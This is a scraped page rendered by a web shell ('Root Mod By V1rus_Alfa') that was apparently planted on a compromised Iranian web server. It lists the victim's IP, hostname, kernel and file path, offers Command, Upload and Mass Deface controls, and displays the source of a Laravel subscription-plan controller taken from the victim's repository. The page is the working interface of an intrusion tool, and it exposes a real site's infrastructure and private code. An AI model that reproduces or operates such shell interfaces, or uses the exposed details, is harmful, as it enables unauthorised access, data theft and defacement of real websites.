���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
dasterang-api
/
modules
/
Feature
/
Http
/
Controllers
/
Api
/
Viewing: PlansController.php
<?php namespace Modules\Feature\Http\Controllers\Api; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use App\Http\Controllers\FunctionController; use OpenApi\Annotations as OA; use Shetabit\Payment\Facade\Payment; use Shetabit\Multipay\Exceptions\InvalidPaymentException; use Shetabit\Multipay\Invoice; use Illuminate\Support\Str; use Modules\Identity\Models\User; use Modules\Identity\Models\UserVip; use Modules\Payment\Models\Transaction; use Modules\Feature\Models\Planes; // use App\Planes; // use App\User; // use App\UserVip; // use App\Transaction; class PlansController extends Controller { public static function checkToken($token) { $user= User::where('token', $token)->first(); if($user) return $user; else return false; } /** * @OA\Tag( * name = "Plans", * description = "functions for plan" * ) * @OA\Get( * path = "/api/plans/all", * operationId = "getPlans", * summary = "get all plans", * description = "get all plans", * tags = {"getPlans"}, * @OA\Response( * response = 200, * description = "success", * @OA\JsonContent() * ), * @OA\Response( * response=404, * description="not found", * @OA\JsonContent() * ) * ) * @param mixed $token * @return bool|TModel */ public function getPlans(){ $model = Planes::all(); if($model){ return response()->json([ 'code'=> 200, 'status'=> 'success', 'response'=> $model ],200); } else { return response()->json([ 'code'=> 404, 'status'=> 'error', 'response'=> false ],404); } } /** * @OA\Post( * path = "/api/plans/buy", * operationId="byPlan", * tags={"Plans"}, * summary = "by plan operation", * description = "by plan operation by plan id and payment type", * @OA\RequestBody( * required = true, * @OA\JsonContent( * type = "object", * required = {"paymentId","paymentType"}, * @OA\Property( * property="planeId", * type="integer" * ), * @OA\Property( * property="paymentType", * type="integer" * ) * ) * ) * , * @OA\Response( * response = 400, * description = "bad request" * ), * @OA\Response( * response = 404, * description = "not found" * ), * @OA\Response( * response = 401, * description = "invalid token" * ), * @OA\Response( * response = 200, * description = "success" * ) * ) */ // public function buyPlan(Request $request){ // $message=[ // 'required'=>':attribute وارد نشده است.', // 'numeric'=>':attribute باید شامل عدد باشد.', // ]; // $attribut=[ // 'planeId'=>'طرح', // 'paymentType'=>'روش پرداخت' // ]; // $val= Validator::make($request->all(), // [ // 'planeId'=>'required|numeric', // 'paymentType'=>'required|numeric', // ],$message,$attribut); // if($val->fails()) // { // return response()->json([ // 'code'=> 409, // 'status'=> 'error', // 'response'=> $val->errors()->first() // ],409); // } // else // { // $user = $this->checkToken($request->bearerToken()); // if($user) { // $model=Planes::where('id',$request->input('planeId'))->first(); // if($model){ // switch($request->input('paymentType')){ // case 1: // $price=(int)$model->final_price; // $invoice = (new Invoice)->amount($price); // $payment=Payment::purchase($invoice, function($driver, $transactionId) { // }); // $arr = array(); // foreach((array)$invoice as $row=>$item){ // array_push($arr,$item); // } // Transaction::create([ // 'plane_id'=>$model->id, // 'user_id'=>$user->id, // 'transaction_id'=>$arr[2], // 'amount'=>$price, // 'status'=> 0 // ]); // return response()->json([ // 'code'=> 200, // 'status'=> 'success', // 'response'=> json_decode($payment->pay()->toJson()) // ],200); // break; // case 2: // if($user->credit >= $model->final_price){ // $userVip=UserVip::where('user_id',$user->id)->orderBy('end_date','desc')->first(); // if($userVip){ // $start_date=$userVip->end_date; // $day=$model->month * 31; // $end_date=date('Y/m/d', strtotime($start_date . " +$day day")); // } else { // $start_date=date('Y/m/d'); // $day=$model->month * 31; // $end_date=date('Y/m/d', strtotime($start_date . " +$day day")); // } // $user->update([ // 'credit'=>$user->credit - $model->final_price // ]); // UserVip::create([ // 'user_id'=>$user->id, // 'start_date'=>$start_date, // 'end_date'=>$end_date // ]); // } else { // return response()->json([ // 'code'=> 409, // 'status'=> 'error', // 'response'=> 'موجودی شما کمتر از مبلغ قابل پرداخت است' // ],409); // } // break; // } // return response()->json([ // 'code'=> 200, // 'status'=> 'success', // 'response'=> $model // ],200); // } else { // return response()->json([ // 'code'=> 404, // 'status'=> 'error', // 'response'=> 'طرح موردنظر یافت نشد' // ],404); // } // } else { // return response()->json([ // 'code'=> 409, // 'status'=> 'error', // 'response'=> 'توکن شما منقضی شده است' // ],409); // } // } // } // public function callBackPayment(Request $request){ // try { // $model=Transaction::where('transaction_id',$request->get('Authority'))->first(); // if($model){ // $userVip=UserVip::where('user_id',$model->user_id)->orderBy('end_date','desc')->first(); // $plane=Planes::where('id',$model->plane_id)->first(); // if($userVip){ // if($userVip->end_date < date('Y/m/d')){ // $start_date=date('Y/m/d'); // $day=$plane->month * 31; // $end_date=date('Y/m/d', strtotime($start_date . " +$day day")); // } else { // $start_date=$userVip->end_date; // $day=$plane->month * 31; // $end_date=date('Y/m/d', strtotime($start_date . " +$day day")); // } // } else { // $start_date=date('Y/m/d'); // $day=$plane->month * 31; // $end_date=date('Y/m/d', strtotime($start_date . " +$day day")); // } // UserVip::create([ // 'user_id'=>$model->user_id, // 'start_date'=>$start_date, // 'end_date'=>$end_date // ]); // $receipt = Payment::amount((int)$model->amount)->transactionId($request->get('Authority'))->verify(); // $model->update([ // 'status'=>1, // 'transaction_id'=>$receipt->getReferenceId() // ]); // return $receipt->getReferenceId(); // return View('payment-success')->with('paymentCode', $receipt->getReferenceId()); // } else { // return View('payment-error'); // } // } catch (InvalidPaymentException $exception) { // echo $exception->getMessage(); // } // } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa